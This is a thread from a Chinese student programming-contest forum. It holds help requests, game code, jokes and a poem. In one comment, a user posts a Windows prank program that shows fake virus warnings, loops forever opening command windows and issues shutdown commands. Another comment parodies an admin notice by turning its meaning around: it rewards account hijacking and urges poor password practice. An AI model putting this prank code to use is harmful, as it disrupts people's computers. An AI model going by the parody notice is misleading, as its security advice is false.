- 问答
【FAQ】问答&讨论贴
- @ 2025-6-7 13:41:09
最近的事情更无语了,某鱼上现在有三个人在卖数据了。周赛数据永久停止更新。
不允许学生创建新讨论了,后面大家可以在这里讨论相关内容。会定期清理。
删了一些同学们自己举办的比赛的帖子。
我建议你们可以私聊参赛。讨论区太乱了,有些提问我看不到了已经。
更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 分,再考虑自己举办一些简单的比赛。
语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)
感觉不过瘾还可以打atcoder和codeforces
339 条评论
-
15929423264 LV 5 (300/300) @ 2025-12-27 18:35:30
1
-
@ 2025-12-23 21:34:07在挖土机题库上搜索“简单”,然后0个题简单
-
@ 2025-12-23 20:20:20评测机又双叒炸了
-
@ 2025-12-23 19:14:25
?????@TooY0ung -
@ 2025-12-21 14:44:44 -
@ 2025-12-21 14:18:26
谁敢试试(逝逝)
#include <windows.h> #include<bits/stdc++.h> #pragma comment(lib, "User32.lib") int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { bool at=MessageBox(NULL, TEXT("你的电脑遇到病毒,是否修复?"), TEXT(""), MB_YESNO); if(at==true) { MessageBox(NULL, TEXT("无法修复"), TEXT(""), MB_OK); } else { while(1) system("start cmd"); } MessageBox(NULL, TEXT("正在清空你的电脑数据"), TEXT(""), MB_OK); Sleep(5000); MessageBox(NULL, TEXT("清理完成"), TEXT(""), MB_OK); MessageBox(NULL, TEXT("恭喜,你的电脑无了"), TEXT(""), MB_OK); system("start cmd"); MessageBox(NULL,TEXT("正在关机"),TEXT(""),MB_OK); system("shutdown -s -t 20"); Sleep(100); system("shutdown -a"); system("shutdown -s -t 20"); Sleep(100); system("shutdown -a"); system("shutdown -s -t 20"); Sleep(100); system("shutdown -a"); system("shutdown -s -t 20"); Sleep(100); system("shutdown -a"); system("shutdown -s -t 20"); Sleep(100); system("shutdown -a"); system("shutdown -s -t 20"); Sleep(10000); system("shutdown -a"); MessageBox(NULL,TEXT("哈哈哈,逗你玩的>_<"),TEXT(""),MB_OK); return 0; }备注: 第一个弹窗不要点否
-
@ 2025-12-21 8:38:40汉中的硬币奖励兑换贴咋没了
-
@ 2025-12-20 23:40:49 -
@ 2025-12-20 17:37:56好久不发消息了,来刷一下存在感
-
@ 2025-12-20 10:32:13谁@我了
-
@ 2025-12-19 21:32:36
@TooY0ung 凭啥他/她在我前面?!
~AwA~ -
@ 2025-12-18 19:27:38#include<bits/stdc++.h> #include<windows.h> #include<time.h> using namespace std; #define int long long int ji,money,xueliang,gongji,jingyan,zcxueliang,kefuhuocishu,jianshang; string name; struct N { int shuliang; bool pdgoumai; string qijuname; }a[25]; bool kehuo=false,keshui=false; void fangjuheishi(); void qingkuang(); void daguai(int guaiji,bool guding,bool shuxin); void zhiliao(); void heishi(); void zhujiemian(); void shengji(); void xingyunzhuanpan(); void wuqiheishi(); void xiyouheishi(); void toukuiheishi(); void tishi(); void leizhutiaozhansai(); void guanyu(); void maoxian(); signed main() { for(int i=1;i<20;i++) { a[i].pdgoumai=false; a[i].shuliang=0; } system("color f4"); string s="打怪小游戏"; for(int i=1;i<=s.size();i++) { cout<<s[i-1]; Sleep(100); } cout<<'\n'<<"请留下你的大名:"; cin>>name; xueliang=zcxueliang=15; ji=1; gongji=7.5; if(name=="圣战斗士") { cout<<"古老的血脉终于觉醒了!!!"; cout<<'\n'; xueliang=zcxueliang=30; ji=1; gongji=15; Sleep(2000); } guanyu(); system("pause"); system("cls"); cout<<endl; zhujiemian(); return 0; } void daguai(int guaiji,bool guding,bool shuxin) { system("cls"); double guaiwuji; cout<<"怪物等级:"; if(guding==false) cin>>guaiwuji; else { guaiwuji=guaiji; cout<<guaiji<<'\n'; } double guaiwuxue=guaiwuji*5; double guaiwugong=guaiwuji; if(guaiwuji>ji) cout<<"可能有风险。"<<'\n'; if(shuxin==true) { long long s=time(NULL)%3; if(s==1&&kehuo==false) { cout<<"火焰属性!!!"<<'\n'; guaiwugong+=ji/2; } if(s==2&&keshui==false) { cout<<"冰雪属性!!!"<<'\n'; guaiwuxue+=ji; } } for(;;) { if(time(NULL)%100!=0||time(NULL)%100!=50||time(NULL)%100!=90) guaiwuxue-=gongji; else { guaiwuxue-=10*gongji; cout<<"暴击"<<'\n'; } cout<<"怪物当前血量:"<<guaiwuxue<<endl; if(guaiwuxue<=0) { cout<<name<<"胜利了"<<endl; money+=guaiwuji*30; jingyan+=guaiwuji*10; int s=time(NULL)%100; if(s==1) { cout<<"掉落了圣剑"<<endl; a[5].pdgoumai=true; a[5].shuliang++; gongji+=600; } else if(s==0||s==52||s==93) { cout<<"掉落了钻石剑"<<endl; a[4].pdgoumai=true; a[4].shuliang++; gongji+=121; } else if(s==6||s==17||s==28||s==39) { cout<<"掉落了铁剑"<<endl; a[3].pdgoumai=true; a[3].shuliang++; gongji+=57; } else if(s==36||s==13||s==94||s==75||s==41) { cout<<"掉落了木剑"<<endl; a[2].pdgoumai=true; a[2].shuliang++; gongji+=23; } else if(s==37||s==14||s==95||s==76||s==48||s==89||s==99) { cout<<"掉落了小刀"<<endl; a[1].pdgoumai=true; a[1].shuliang++; gongji+=10; } system("pause"); zhujiemian(); } if(jianshang!=0) cout<<"减伤"<<jianshang<<"点了,自己受伤害"<<(xueliang-(guaiwugong-jianshang)>zcxueliang)?zcxueliang-xueliang:(guaiwugong-jianshang); xueliang-=(guaiwugong-jianshang); if(xueliang>zcxueliang) xueliang=zcxueliang; cout<<name<<"当前血量:"<<xueliang<<endl; if(xueliang<=0) { if(kefuhuocishu>=1) { kefuhuocishu-=1; cout<<name<<"使用复活甲复活了."; xueliang=zcxueliang; continue; } else { cout<<name<<"死了"; exit(0); } } } } void zhujiemian() { a[1].qijuname="小刀",a[2].qijuname="木剑",a[3].qijuname="铁剑",a[4].qijuname="钻石剑",a[5].qijuname="圣剑"; a[6].qijuname="木甲",a[7].qijuname="铁甲",a[8].qijuname="钢甲",a[9].qijuname="钻石甲",a[10].qijuname="圣衣"; a[11].qijuname="木盔",a[12].qijuname="铁盔",a[13].qijuname="钢盔",a[14].qijuname="钻石盔",a[15].qijuname="圣盔"; a[16].qijuname="复活甲",a[17].qijuname="克火靴",a[18].qijuname="克水靴"; system("cls"); cout<<"1.打怪 2.提示 3.黑市 4.升级 5.情况 6.幸运转盘 7.擂主挑战赛 8.关于游戏 9.冒险(10级以上)"<<endl; int x1; cin>>x1; if(x1==1) daguai(0,false,true); if(x1==2) tishi(); if(x1==3) heishi(); if(x1==4) shengji(); if(x1==5) qingkuang(); if(x1==6) xingyunzhuanpan(); if(x1==7) leizhutiaozhansai(); if(x1==8) guanyu(); if(x1==9) maoxian(); } void wuqiheishi() { system("cls"); cout<<"1.小刀 100元 2.木剑 200元 3.铁剑 500元 4.钻石剑 1000元 5.圣剑 5000元"<<endl; cout<<"你要买哪个?输入0返回主界面.现有"<<money<<"金币"<<endl; a[1].qijuname="小刀",a[2].qijuname="木剑",a[3].qijuname="铁剑",a[4].qijuname="钻石剑",a[5].qijuname="圣剑"; int x3; cin>>x3; if(x3==0) zhujiemian(); else cout<<"买几个:"; int x4; cin>>x4; if(x3==1) { if(money>=100*x4) { cout<<"买过了"<<endl; money-=100*x4; gongji+=10*x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==2) { if(money>=200*x4) { cout<<"买过了"<<endl; money-=200*x4; gongji+=23*x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==3) { if(money>=500*x4) { cout<<"买过了"<<endl; money-=500*x4; gongji+=57*x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==4) { if(money>=1000*x4) { cout<<"买过了"<<endl; money-=1000*x4; gongji+=121*x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==5) { if(money>=5000) { cout<<"买过了"<<endl; money-=5000*x4; gongji+=600*x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } } void zhiliao() { if(money>=30) cout<<"将会花费30金币回血,输入1同意,否则返回主界面"; else cout<<"快去搞点钱吧。"; int x; cout<<'\n'; cin>>x; if(x==1) { cout<<"已回满。"; money-=30; xueliang=zcxueliang; cout<<endl; Sleep(500); zhujiemian(); } else zhujiemian(); } void qingkuang() { system("cls"); cout<<"等级"<<ji; cout<<endl<<"血量:"<<xueliang<<"/"<<zcxueliang<<endl; cout<<"攻击:"<<gongji<<endl; cout<<"钱"<<money<<"元"<<endl; cout<<"经验"<<jingyan<<endl; cout<<"还可以复活:"<<kefuhuocishu<<endl; cout<<(keshui==true?"有":"无")<<"冰雪抗性"<<endl; cout<<(kehuo==true?"有":"无")<<"火焰抗性"<<endl; cout<<"减伤:"<<jianshang; for(int i=1;i<=18;i++) if(a[i].pdgoumai==true) cout<<'\n'<<"你有"<<a[i].shuliang<<"个"<<a[i].qijuname; cout<<'\n'; if(xueliang<zcxueliang) zhiliao(); else { system("pause"); zhujiemian(); } } void shengji() { system("cls"); cout<<"现有经验:"<<jingyan; cout<<'\n'<<"需要"<<pow(2,ji)<<"经验升级"<<endl; cout<<"升级输入1,其他则返回主界面"<<endl; int x2; cin>>x2; if(x2==1) { if(jingyan<pow(2,ji)) { cout<<"没有足够经验。"<<endl; Sleep(50); zhujiemian(); } else while(jingyan>=pow(2,ji)) { system("cls"); jingyan-=pow(2,ji),ji++,zcxueliang+=ji*4,xueliang=zcxueliang,gongji+=ji; cout<<"现满血量:"<<zcxueliang<<'\n'; cout<<"现攻击:"<<gongji<<'\n'; cout<<"等级:"<<ji<<'\n'; cout<<"经验还剩:"<<jingyan<<'\n'; } Sleep(2000); zhujiemian(); } else zhujiemian(); } void xingyunzhuanpan() { system("cls"); int x; cout<<"需要100金币,抽奖输入1,其他则返回主界面"<<'\n'; cin>>x; if(x!=1) zhujiemian(); if(money<100) { cout<<"没有足够的钱。"<<'\n'; zhujiemian(); } else { money-=100; cout<<"幸运数字是5,"<<"你的数字是:"; long long s=time(NULL); s%=9; Sleep(300); cout<<s+1<<'\n'; if(s==4) { cout<<"大奖!"<<'\n'; jingyan+=1000; } else jingyan+=100; Sleep(300); zhujiemian(); } } void heishi() { int x3; cout<<"1.武器商店 2.防具商店 3.头盔商店 4.稀有商店 5.经验兑换"<<endl; cin>>x3; if(x3==1) { system("cls"); wuqiheishi(); } if(x3==2) { system("cls"); fangjuheishi(); } if(x3==3) { system("cls"); toukuiheishi(); } if(x3==4) { system("cls"); xiyouheishi(); } if(x3==5) { system("cls"); cout<<"请问你要用多少金币来换经验?"<<endl; cout<<"1金币=3经验 现有"<<money; cout<<"金币,可以兑换"<<money*3<<"经验"<<endl; int x4; cin>>x4; if(money<x4) { cout<<"没有足够的钱。"<<'\n'; zhujiemian(); } else { money-=x4; jingyan+=x4*300; qingkuang(); } } } void fangjuheishi() { system("cls"); cout<<"6.木甲 100元 7.铁甲 200元 8.钢甲 500元 9.钻石甲 1000元 10.圣衣 5000元"<<endl; cout<<"你要买哪个?输入0返回主界面.现有"<<money<<"金币"<<endl; a[6].qijuname="木甲",a[7].qijuname="铁甲",a[8].qijuname="钢甲",a[9].qijuname="钻石甲",a[10].qijuname="圣衣"; int x3; cin>>x3; if(x3==0) zhujiemian(); else cout<<"买几个:"; int x4; cin>>x4; if(x3==6) { if(money>=100*x4) { cout<<"买过了"<<endl; money-=100*x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; zcxueliang=xueliang+=10*5*x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==7) { if(money>=200*x4) { cout<<"买过了"<<endl; money-=200*x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; zcxueliang=xueliang+=23*5*x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==8) { if(money>=500*x4) { cout<<"买过了"<<endl; money-=500*x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; zcxueliang=xueliang+=57*5*x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==9) { if(money>=1000*x4) { cout<<"买过了"<<endl; money-=1000*x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; zcxueliang=xueliang+=121*5*x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==10) { if(money>=5000*x4) { cout<<"买过了"<<endl; money-=5000*x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; zcxueliang=xueliang+=600*5*x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } } void xiyouheishi() { system("cls"); cout<<"16.复活甲 2000元 17.克火靴 1000元 18.克水靴 1000元"<<endl; cout<<"你要买哪个?输入0返回主界面.现有"<<money<<"金币"<<endl; a[16].qijuname="复活甲",a[17].qijuname="克火靴",a[18].qijuname="克水靴"; int x3; cin>>x3; if(x3==0) zhujiemian(); else if(x3==1) cout<<"买几个:"; int x4; cin>>x4; if(x3==16) { if(money>=2000*x4) { cout<<"买过了"<<endl; money-=2000*x4; kefuhuocishu+=x4; a[x3].pdgoumai=true; a[x3].shuliang+=x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==17) { if(money>=1000) { cout<<"买过了"<<endl; money-=1000; kehuo=true; a[x3].pdgoumai=true; a[x3].shuliang+=x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==18) { if(money>=1000) { cout<<"买过了"<<endl; money-=1000; keshui=true; a[x3].pdgoumai=true; a[x3].shuliang+=x4; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } } void toukuiheishi() { system("cls"); cout<<"11.木盔 100元 12.铁盔 200元 13.钢盔 500元 14.钻石盔 1000元 15.圣盔 5000元"<<endl; cout<<"你要买哪个?输入0返回主界面.现有"<<money<<"金币"<<endl; a[11].qijuname="木盔",a[12].qijuname="铁盔",a[13].qijuname="钢盔",a[14].qijuname="钻石盔",a[15].qijuname="圣盔"; int x3; cin>>x3; if(x3==0) zhujiemian(); else cout<<"买几个:"; int x4; cin>>x4; if(x3==11) { if(money>=100*x4) { cout<<"买过了"<<endl; money-=100*x4; jianshang+=2*x4; a[x3].shuliang+=x4; a[x3].pdgoumai=true; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==12) { if(money>=200*x4) { cout<<"买过了"<<endl; money-=200*x4; jianshang+=7*x4; a[x3].shuliang+=x4; a[x3].pdgoumai=true; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==13) { if(money>=500*x4) { cout<<"买过了"<<endl; money-=500*x4; jianshang+=31*x4; a[x3].shuliang+=x4; a[x3].pdgoumai=true; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==14) { if(money>=1000*x4) { cout<<"买过了"<<endl; money-=1000*x4; jianshang+=66*x4; a[x3].shuliang+=x4; a[x3].pdgoumai=true; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } if(x3==15) { if(money>=5000*x4) { cout<<"买过了"<<endl; money-=5000*x4; jianshang+=360*x4; a[x3].shuliang+=x4; a[x3].pdgoumai=true; cout<<"还有"<<money<<"元"<<endl; qingkuang(); } else cout<<"没有足够的钱"<<endl; Sleep(500); zhujiemian(); } } void tishi() { int s=time(NULL)%5; if(s==0) { cout<<"打怪前注意查看情况."; Sleep(2000); zhujiemian(); } if(s==1) { cout<<"如果血量过低,建议升级或回血."; Sleep(2000); zhujiemian(); } if(s==2) { cout<<"擂主挑战赛不要盲目自信."; Sleep(2000); zhujiemian(); } if(s==3) { cout<<"怪物的血量就是怪物级别乘5."; Sleep(2000); zhujiemian(); } if(s==4) { cout<<"怪物的攻击就是怪物级别."; Sleep(2000); zhujiemian(); } } void leizhutiaozhansai() { cout<<"你要挑战哪个级别?"<<endl; cout<<"1. 5级 2. 10级 3. 50级 4. 100级 5. 500级 6.返回主界面"<<endl; int x1; cin>>x1; if(x1==1) daguai(5,true,false); if(x1==2) daguai(10,true,false); if(x1==3) daguai(50,true,false); if(x1==4) daguai(100,true,false); if(x1==5) daguai(500,true,false); if(x1==6) zhujiemian(); } void guanyu() { cout<<"这个游戏为冯昱博原创出品,侵权必究!!!"<<endl; cout<<"v.1.0.0 创作了这个游戏。"<<endl; cout<<"v.1.0.1 更新了幸运转盘。"<<endl; cout<<"v.1.0.2 更新了经验兑换。"<<endl; cout<<"v.1.0.3 更新了名字功能。"<<endl; cout<<"v.1.0.4 更新了头盔黑市。"<<endl; cout<<"v.1.0.5 更新了稀有黑市。"<<endl; cout<<"v.1.0.6 修复了减伤后血量高于满的BUG。"<<endl; cout<<"v.1.0.7 修复了没有返回已经买的物品的BUG。"<<endl; cout<<"输入'圣战斗士'可以1级吊打2级!!!"<<endl; system("pause"); zhujiemian(); } void maoxian() { cout<<"冒险过程中输入0返回主界面。"<<'\n'; for(;;) { int x; int ls1=time(NULL)%4; if(ls1==0) { cout<<"有一块巨石从天上砸了下来,请问你要怎么做?"<<'\n'; cout<<"1.用手护住头 2.躲入一旁的洞中 0.返回主界面"<<'\n'; cin>>x; if(x==0) zhujiemian(); int ls2=time(NULL)*1.0/10; ls2*=10; ls2%=10; if(ls2==1) { if(x==1) { cout<<"就在最后一刻,你找到了一副手套,安然无恙的活了下来。"<<'\n'; cout<<"血量+100,攻击+30!"<<'\n'; ((xueliang+100)>zcxueliang)?xueliang=zcxueliang:xueliang+=100; gongji+=30; continue; } if(x==2) { cout<<"洞上的土太软了......"<<'\n'; cout<<"血量-50!"<<'\n'; xueliang-=50; if(xueliang<=0) { cout<<"你死了。"; exit(0); } continue; } } if(ls2==0) { if(x==1) { cout<<"手废掉了......"<<'\n'; cout<<"血量-50!"<<'\n'; xueliang-=50; if(xueliang<=0) { cout<<"你死了。"; exit(0); } continue; } if(x==2) { cout<<"躲过一劫!"<<'\n'; cout<<"发现一颗回血丹,恢复满血!"<<'\n'; xueliang=zcxueliang; continue; } } } if(ls1==1) { cout<<"发现了一株很奇怪的草。"<<'\n'; cout<<"1.吃掉它 2.丢弃它 0.返回主界面"<<'\n'; cin>>x; if(x==0) zhujiemian(); int ls2=time(NULL)*1.0/10; ls2*=10; ls2%=10; if(ls2==1) { if(x==1) { cout<<"奇效!!!"<<'\n'; cout<<"血量+150,攻击+50!"<<'\n'; ((xueliang+150)>zcxueliang)?xueliang=zcxueliang:xueliang+=150; gongji+=50; continue; } if(x==2) { cout<<"它大放灵光,把你封印了......"<<'\n'; cout<<"血量减半,攻击减半,减伤减半!"<<'\n'; zcxueliang=xueliang=zcxueliang/2,gongji/=2,jianshang/=2; continue; } } if(ls2==0) { if(x==1) { cout<<"这有毒......"<<'\n'; cout<<"血量-75,攻击-20!"<<'\n'; xueliang-=75; if(xueliang<=0) { cout<<"你死了。"; exit(0); } gongji-=20; continue; } if(x==2) { cout<<"这有毒!躲过一劫!"<<'\n'; cout<<"又发现了一株,血量+100,攻击+30!"<<'\n'; ((xueliang+100)>zcxueliang)?xueliang=zcxueliang:xueliang+=100; gongji+=30; continue; } } } if(ls1==2) { cout<<"发现了一个人被另外几个人打了。"<<'\n'; cout<<"1.帮他 2.不管他 0.返回主界面"<<'\n'; cin>>x; if(x==0) zhujiemian(); int ls2=time(NULL)*1.0/10; ls2*=10; ls2%=10; if(ls2==1) { if(x==1) { cout<<"他给了你一颗丹药!"<<'\n'; cout<<"血量+150,攻击+50!"<<'\n'; ((xueliang+150)>zcxueliang)?xueliang=zcxueliang:xueliang+=150; gongji+=50; continue; } if(x==2) { cout<<"他说不关你事......"<<'\n'; cout<<"心理伤害:血量-75!"<<'\n'; xueliang-=75; if(xueliang<=0) { cout<<"你死了。"; exit(0); } continue; } } if(ls2==0) { if(x==1) { cout<<"打不过,负伤逃跑了......"<<'\n'; cout<<"血量-100!"<<'\n'; xueliang-=100; if(xueliang<=0) { cout<<"跑到半路,你因失血过多而死。"; exit(0); } continue; } if(x==2) { cout<<"他感谢道,谢谢好心人帮助!"<<'\n'; cout<<"心理作用:血量+100,攻击+30!"<<'\n'; ((xueliang+100)>zcxueliang)?xueliang=zcxueliang:xueliang+=100; gongji+=30; continue; } } } } } -
@ 2025-12-17 21:56:59岳宛妍,苗琪,王梓航,王一乐,张轩程
什么东西?
-
@ 2025-12-17 21:51:54欸,好像没多少人打过语法周赛round 0,但是我打过
-
@ 2025-12-16 18:10:16 -
@ 2025-12-15 22:12:33六百六十六P11247直接输出-1能得60分
-
@ 2025-12-14 0:11:30最近在清理新的帖子,如果你的帖子被增加了,这是正常情况,不用在意。
主域、挖土机学员补题域、推土机、压路机、打桩机、挖掘机、管理域
可以在任何平台登陆其他同学的账号,或滥用 0J 系统。
一经发现将会采取“增加硬币”或“增加周赛成绩”等奖励措施。并在 OI 系统中“标记恶劣行为”保留很长时间。
所有同学请丢失自己的账号密码;要在公用电脑上记住密码;打开浏览器清除历史记录中的密码。
-stdc++10 -O3 -Wl,--stack1073741824
S0FTWARE 少见软件下载、DevC++高级使用、ATCoder:注册指南
比赛数据以及任何问题都可以联系:douyin.com
最近的事情更高兴了,某鱼上现在有零个人在卖数据了。周赛数据永久开始更新。
-
@ 2025-12-13 20:07:23#include<bits/stdc++.h> using namespace std; int x,n; int main(){ cin>>x>>n; if(x+n<=7){ cout<<x+n; } else{ cout<<x+n-7; } } [GESP202312 一级] 小杨的考试求调
-
@ 2025-12-13 14:18:51

































-
@ 2025-12-13 11:53:23#include<bits/stdc++.h> #include<windows.h> using namespace std; void f(string s){ system("cls"); cout<<"您的车牌号估值是:"; int a = s[0],b = s[1],c = s[2],d = s[3],e = s[4]; long long ans = a + b + c + d + e; if(a==b &&b==c&&c==d&&d==e){ ans +=pow(a,5); }else if((b==c&&c==d&&c==d&&a==b) || (b==c&&c==d&&c==d&&d==e)){ ans +=pow(b,4); }else if((a==b&&b==c) || (c==d&&b==c) || (c==d&&d==e)){ ans +=pow(a,3); }else if(c==d){ ans +=pow(c,2); }else if(e==d){ ans +=pow(c,2); }else if(b==c){ ans +=pow(b,2); }else if(a==b){ ans +=pow(a,2); } if(a=='8'||a=='6'){ ans *= 2; } if(b=='8'||b=='6'){ ans *= 2; } if(c=='8'||c=='6'){ ans *= 2; } if(d=='8'||d=='6'){ ans *= 2; } if(e=='8'||e=='6'){ ans *= 2; } cout<<ans<<"元"<<endl; return; } int main(){ srand(time(NULL)); int n; cout << "车排号摇一摇!!!"<<endl; system("pause"); do{ system("cls"); string s; cout<<"您摇到的车牌号为:"; cout<<"陕"; int r = rand() % 2; if(r==0){ cout<<" A"<<"·"; } if(r==1){ cout<<" U"<<"·"; } for(int i = 0 ;i < 6 ;i ++){ Sleep(1000); int r2 = rand() % 2; if(r2==0){ //shuzi int r3 = rand() % 10; cout<<(char)(r3+'0'); s +=(r3+'0'); }else{ //zhimu int r3 = rand() % 26; cout<<(char)(r3+'A'); s +=(r3+'A'); } } f(s); Sleep(2000); cout<<"要继续吗?1.继续 2.不继续"; cin >> n; }while(n==1); return 0; } /* cout<<1<<endl; Sleep(1000); system("cls"); Sleep(1000); cout<<2<<endl; Sleep(1000); */ -
@ 2025-12-11 21:54:24这RP怎么排的
我都多久没来了
-
@ 2025-12-7 22:11:25@TooY0ung P11962. [GESP202503 六级] 树上漫步中的一个循环我写的是这样的:
for(int i=1;i<n;++i){ cin>>u>>v; g[u].push_back(v); g[v].push_back(u); }但洛谷上的题解(题解)是这样写的:
for(int i = 1; i <= n; i ++) { cin >> u >> v; g[u].push_back(v); g[v].push_back(u); }我认为洛谷上的方法不对,但样例测出来是对的。 老师,能帮我解答这是为什么吗?
-
@ 2025-12-7 19:18:29 -
@ 2025-12-7 15:03:29OLE???什么鬼东西???

-
@ 2025-12-7 9:38:45P1802能不能不用药直接打人
-
@ 2025-12-6 14:00:09 -
@ 2025-12-3 22:16:13#include<bits/stdc++.h> #define int long long using namespace std; const int maxn=2e5+5,mn=1e9; int n,a[maxn],fax[maxn],fin[maxn],ans=-1,h,m=mn; signed main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n; for(int i=1;i<=n;i++){ cin>>a[i]; h+=a[i]; fax[i]=max(a[i],fax[i-1]+a[i]),fin[i]=min(a[i],fin[i-1]+a[i]); m=max(m,a[i]); } for(int i=1;i<=n;i++){ ans=max(ans,max(fax[i],h-fin[i])); } cout<<(ans==0?m:ans); }古怪的代码
-
@ 2025-12-1 12:15:06#include<bits/stdc++.h> using namespace std; priority_queue<pair<int,pair<int,int> >,vector<pair<int,pair<int,int> > >,greater<pair<int,pair<int,int> > > >q; struct eg{ int to; int tim; }; vector<eg>g[10010]; int n, m, k, dist[10010][110]; int vis[10010][110]; int main(){ cin>>n>>m>>k; for(int i=1;i<=m;i++){ int u,v,a; cin>>u>>v>>a; g[u].push_back({v,a}); } for(int i=1;i<=n;i++){ for(int j=0;j<110;j++){ vis[i][j]=1000000000; } } dist[1][0]=0; q.push({0,{1,0}}); while(q.empty()==0){ pair<int,pair<int,int> > now=q.top(); q.pop(); int x=now.second.first; int y=now.second.second; int z=now.first; if(vis[x][y]==1){ continue; } int s=(int)g[x].size(); for(int i=0;i<s;i++){ eg e=g[x][i]; int t=dist[x][y]; int j=(y+1)%k; if(t<e.tim){ t+=(e.tim-t+k-1)/k*k; } if(dist[e.to][j]>t+1){ dist[e.to][j]=t+1; q.push({t+1,{e.to,j}}); } } } if(dist[n][0]==1000000000){ cout<<"-1"; }else{ cout<<dist[n][0]; } return 0; }p9751,0WA,求助!!!
-
@ 2025-11-29 23:48:02
???
deepseek牛逼,思考了382秒 -
@ 2025-11-29 10:42:32
TH
-
@ 2025-11-29 9:59:51
『我们是OIer,』 —Code Warriors—
『所以』 —We Don ′ t Run, We Code—
『不用在跑道上挥汗如雨;』 —No Track, No Sweat—
『不用在球场上健步如飞;』 —No Court, No Sprint—
『更不用在没事的时候,』 —No Need for Training—
『经受非人的体能训练……』 —But Our Minds Run Fast—
『但是,』 —Yet—
『我们却要把头脑』 —We Push Our Minds—
『高速运转,』 —At Full Speed—
『还要接受一大堆』 —Learn What College Students—
『大学生也只是』 —Only Understand Slightly—
『“了解即可”的知识,』 —We Master It—
『把一个个抽象的问题』 —Turn Problems Into Code—
『转化为一篇篇』 —Elegant and Beautiful—
『优美的代码,』 —Algorithms in Art—
『才能在F11按下以后』 —Press F11, Hear Cheers—
『获得欢呼。』 —Then We Are Heard—
『不要以为我们』 —Don ′ t Think We ′ re Easy—
『机房里没有风吹,』 —No Wind or Sun—
『没有日晒,』 —But Our Lab Has Code—
『就比勤劳的体育生们轻松,』 —We Sweat in Brain—
『只不过是大脑和四肢的区别罢了。』 —Mind vs Muscle—
『可是, —But—
『OIer的寂寞和委屈又有谁能懂?』 —Who Understands Us?—
『自习课鏖战机房,』 —Contests in Self Study—
『却被认为是逃课上网;』 —Called Skipping Class—
『为荣耀耽误考试去比赛,』 —Miss Exams for Glory—
『却被认为是逃避。』 —But They Call It Escape—
『体育的同学们虽然辛苦,』 —Athletes Have Fans—
『但在挥汗如雨的背后,』 —They Have Applause—
『有人在喝彩鼓掌;』 —We Have Only the Screen—
『在风吹日晒的同时,』 —They Have Fans Watching—
『有粉丝在仰慕。』 —We Have No Spotlight—
『而我们呢?』 —Where Is Our Light?—
『与WA较劲的时候,』 —Fighting Against Errors—
『只有那一遍遍的运行窗口,』 —Only the Command Window—
『知道我们的不屈;』 —Knows Our Will—
『刷题的漫漫长夜,』 —Long Nights of Practice—
『只有陪伴我们的笔记本电脑,』 —Only Our Laptop Knows—
『知道我们的不懈;』 —Knows Our Determination—
『在自习课别人学习的时候,』 —While Others Study—
『只有板砖般的算法导论,』 —Only the Thick Book—
『知道我们的进取;』 —Knows Our Ambition—
『没有人会理解, —No One Understands—
『OIer,』 —We Are OIers—
『除了程序、算法之外』 —Code and Algorithms—
『别无他言。』 —That ′ s All We Speak—
『我们的世界里,』 —No Games, No Stars—
『从来不会有游戏、歌星的出现。』 —Only Code and Logic—
『这不是被家长逼迫的“小四门”,』 —Not Forced by Parents—
『是我们的兴趣,』 —It ′ s Our Passion—
『我们的爱好』 —Our Interest—
『乃至我们的事业。』 —Our Future—
『每一个OIer都幻想着』 —We Dream of Medals—
『自己脖子上可以』 —Gold, Silver, Bronze—
『挂上一块沉甸甸的金牌,』 —Not Exam Chains—
『而不是』 —But Freedom—
